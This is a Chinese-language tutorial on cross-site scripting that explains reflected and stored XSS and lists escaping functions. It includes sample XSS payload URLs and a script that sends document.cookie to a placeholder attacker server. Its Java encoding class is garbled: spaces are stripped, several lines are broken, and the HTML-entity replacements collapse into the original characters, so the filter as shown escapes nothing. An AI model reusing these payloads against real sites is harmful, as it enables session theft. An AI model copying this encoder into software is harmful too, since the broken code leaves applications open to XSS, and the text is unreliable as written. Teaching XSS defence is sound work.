XSS攻击原理与解决方法
概述:
XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨大的,是web安全的头号大敌。
XSS的本质是在服务器响应数据时,插入可执行代码,这些代码分别插在不同的位置上。
XSS跨站漏洞最终形成的原因是对输入与输出没有严格过滤,防御XSS,只要把控好输入与输出点,针对性地过滤,转义,就能杜绝XSS跨站漏洞。
XSS攻击是在用户的浏览器上执行的,其形成过程则是在服务器端页面渲染时,注入了恶意的HTML代码导致的。从MVC架构来说,是发生在View层,因此使用“输出编码”的防御方法更加合理,这意味着需要针对不同上下文的XSS攻击场景,使用不同的编码方式。
1)在HTML标签中输出变量
2)在HTML属性中输出变量
3)在Script标签中输出变量
4)在事件中输出变量
5)在CSS中输出变量
6)在URL中输出变量
攻击的条件:
实施XSS攻击需要具备两个条件:
一、需要向web页面注入恶意代码;
二、这些恶意代码能够被浏览器成功的执行。
看一下下面这个例子:
<divid="el"style="background:url('javascript:eval(document.getElementById("el").getAttribute("code"))')"
code="vara=document.createElement('a');
a.innerHTML='执行了恶意代码';document.body.appendChild(a);
//这这里执行代码
">
</div>
这段代码在旧版的IE8和IE8以下的版本都是可以被执行的,火狐也能执行代码,但火狐对其禁止访问DOM对象,所以在火狐下执行将会看到控制里抛出异常:documentisnotdefined(document是没有定义的)
再来看一下面这段代码:
<div>
<imgsrc="/images/handler.ashx?id=<%=Request.QueryString["id"]%>"/>
</div>
相信很多程序员都觉得这个代码很正常,其实这个代码就存在一个反射型的XSS攻击,假如输入下面的地址:
http://www.xxx.com/?id="/><script>alert(/xss/)</script><brx="
最终反射出来的HTML代码:
<div>
<imgsrc="/images/handler.ashx?id="/><script>alert(/xss/)</script><brx=""/>
</div>
也许您会觉得把ValidateRequest设置为true或者保持默认值就能高枕无忧了,其实这种情况还可以输入下面的地址达到相同的攻击效果:
http://www.xxx.com/?id=xx"onerror="this.onload()"onload="alert(/xss/)"x="
根据XSS攻击的效果可以分为几种类型:
第一、XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。
反射型XSS只是简单地把用户输入的数据“反射”给浏览器。也就是说,黑客往往需要诱使用户“点击”一个恶意链接,才能攻击成功。反射型XSS也叫做“非持久型XSS”
反射型跨站脚本(ReflectedCross-siteScripting),主要是用于将恶意脚本附加到URL地址的参数中。
反射型XSS的利用一般是攻击者通过特定手法(比如利用电子邮件),诱使用户去访问一个包含恶意代码的URL,当受害者单击这些专门设计的链接的时候,恶意JavaScript代码会直接在受害者主机上的浏览器执行。他的特点是只在用户单击时触发,而且只执行一次,非持久化。
反射型XSS的危害往往不如持久型XSS,因为恶意代码暴露在URL参数中,并且时刻要求用户单击方可触发,稍微有点儿安全意识的用户可以轻易看穿该链接是不可信任。如此一来,反射型XSS的攻击成本要比持久型XSS高很多。
第二、XSS存储型攻击,恶意代码被保存到目标网站的服务器中,这种攻击具有较强的稳定性和持久性,比较常见场景是在博客,论坛等社交网站上,但OA系统,和CRM系统上也能看到它身影,比如:某CRM系统的客户投诉功能上存在XSS存储型漏洞,黑客提交了恶意攻击代码,当系统管理员查看投诉信息时恶意代码执行,窃取了客户的资料,然而管理员毫不知情,这就是典型的XSS存储型攻击。存储型XSS通常也叫做“持久型XSS”。
持久型跨站脚本(PersistentCross-siteScripting)也等于存储型跨站脚本(StoredCross-siteScripting),比反射型跨站脚本更具威胁性,并且可能影响到Web服务器自身的安全。
XSS攻击能做些什么:
1.窃取cookies,读取目标网站的cookie发送到黑客的服务器上,如下面的代码:
vari=document.createElement("img");
document.body.appendChild(i);
i.src="http://www.hackerserver.com/?c="+document.cookie;
2.读取用户未公开的资料,如果:邮件列表或者内容、系统的客户资料,联系人列表等等,如代码:
解决方法:
一种方法是在表单提交或者url参数传递前,对需要的参数进行过滤,请看如下XSS过滤工具类代码
importjava.net.URLEncoder;
/**
*过滤非法字符工具类
*
*/
publicclassEncodeFilter{
//过滤大部分html字符
publicstaticStringencode(Stringinput){
if(input==null){
returninput;
}
StringBuildersb=newStringBuilder(input.length());
for(inti=0,c=input.length();i<c;i++){
charch=input.charAt(i);
switch(ch){
case'&':sb.append("&");
break;
case'<':sb.append("<");
break;
case'>':sb.append(">");
break;
case'"':sb.append(""");
break;
case'\'':sb.append("'");
break;
case'/':sb.append("/");
break;
default:sb.append(ch);
}
}
returnsb.toString();
}
//js端过滤
publicstaticStringencodeForJS(Stringinput){
if(input==null){
returninput;
}
StringBuildersb=newStringBuilder(input.length());
for(inti=0,c=input.length();i<c;i++){
charch=input.charAt(i);
//donotencodealphanumericcharactersand',''.''_'
if(ch>='a'&&ch<='z'||ch>='A'&&ch<='Z'||
ch>='0'&&ch<='9'||
ch==','||ch=='.'||ch=='_'){
sb.append(ch);
}else{
Stringtemp=Integer.toHexString(ch);
//encodeupto256with\\xHH
if(ch<256){
sb.append('\\').append('x');
if(temp.length()==1){
sb.append('0');
}
sb.append(temp.toLowerCase());
//otherwiseencodewith\\uHHHH
}else{
sb.append('\\').append('u');
for(intj=0,d=4-temp.length();j<d;j++){
sb.append('0');
}
sb.append(temp.toUpperCase());
}
}
}
returnsb.toString();
}
/**
*css非法字符过滤
*http://www.w3.org/TR/CSS21/syndata.html#escaped-characters
*/
publicstaticStringencodeForCSS(Stringinput){
if(input==null){
returninput;
}
StringBuildersb=newStringBuilder(input.length());
for(inti=0,c=input.length();i<c;i++){
charch=input.charAt(i);
//checkforalphanumericcharacters
if(ch>='a'&&ch<='z'||ch>='A'&&ch<='Z'||
ch>='0'&&ch<='9'){
sb.append(ch);
}else{
//returnthehexandendinwhitespacetoterminate
sb.append('\\').append(Integer.toHexString(ch)).append('');
}
}
returnsb.toString();
}
/**
*URL参数编码
*http://en.wikipedia.org/wiki/Percent-encoding
*/
publicstaticStringencodeURIComponent(Stringinput){
returnencodeURIComponent(input,"utf-8");
}
publicstaticStringencodeURIComponent(Stringinput,Stringencoding){
if(input==null){
returninput;
}
Stringresult;
try{
result=URLEncoder.encode(input,encoding);
}catch(Exceptione){
result="";
}
returnresult;
}
publicstaticbooleanisValidURL(Stringinput){
if(input==null||input.length()<{
returnfalse;
}
charch0=input.charAt(0);
if(ch0=='h'){
if(input.charAt(1)=='t'&&
input.charAt(2)=='t'&&
input.charAt(3)=='p'){
charch4=input.charAt(4);
if(ch4==':'){
if(input.charAt(5)=='/'&&
input.charAt(6)=='/'){
returnisValidURLChar(input,7);
}else{
returnfalse;
}
}elseif(ch4=='s'){
if(input.charAt(5)==':'&&
input.charAt(6)=='/'&&
input.charAt(7)=='/'){
returnisValidURLChar(input,;
}else{
returnfalse;
}
}else{
returnfalse;
}
}else{
returnfalse;
}
}elseif(ch0=='f'){
if(input.charAt(1)=='t'&&
input.charAt(2)=='p'&&
input.charAt(3)==':'&&
input.charAt(4)=='/'&&
input.charAt(5)=='/'){
returnisValidURLChar(input,6);
}else{
returnfalse;
}
}
returnfalse;
}
staticbooleanisValidURLChar(Stringurl,intstart){
for(inti=start,c=url.length();i<c;i++){
charch=url.charAt(i);
if(ch=='"'||ch=='\''){
returnfalse;
}
}
returntrue;
}
}
二、过滤用户输入的检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(&符号)、+(加号)等。、严格控制输出
可以利用下面这些函数对出现xss漏洞的参数进行过滤
1、htmlspecialchars()函数,用于转义处理在页面上显示的文本。
2、htmlentities()函数,用于转义处理在页面上显示的文本。
3、strip_tags()函数,过滤掉输入、输出里面的恶意标签。
4、header()函数,使用header("Content-type:application/json");用于控制json数据的头部,不用于浏览。
5、urlencode()函数,用于输出处理字符型参数带入页面链接中。
6、intval()函数用于处理数值型参数输出页面中。
7、自定义函数,在大多情况下,要使用一些常用的html标签,以美化页面显示,如留言、小纸条。那么在这样的情况下,要采用白名单的方法使用合法的标签显示,过滤掉非法的字符。
各语言示例:
PHP的htmlentities()或是htmlspecialchars()。
Python的cgi.escape()。
ASP的Server.HTMLEncode()。
ASP.NET的Server.HtmlEncode()或功能更强的MicrosoftAnti-CrossSiteScriptingLibrary
Java的xssprotect(OpenSourceLibrary)。
Node.js的node-validator。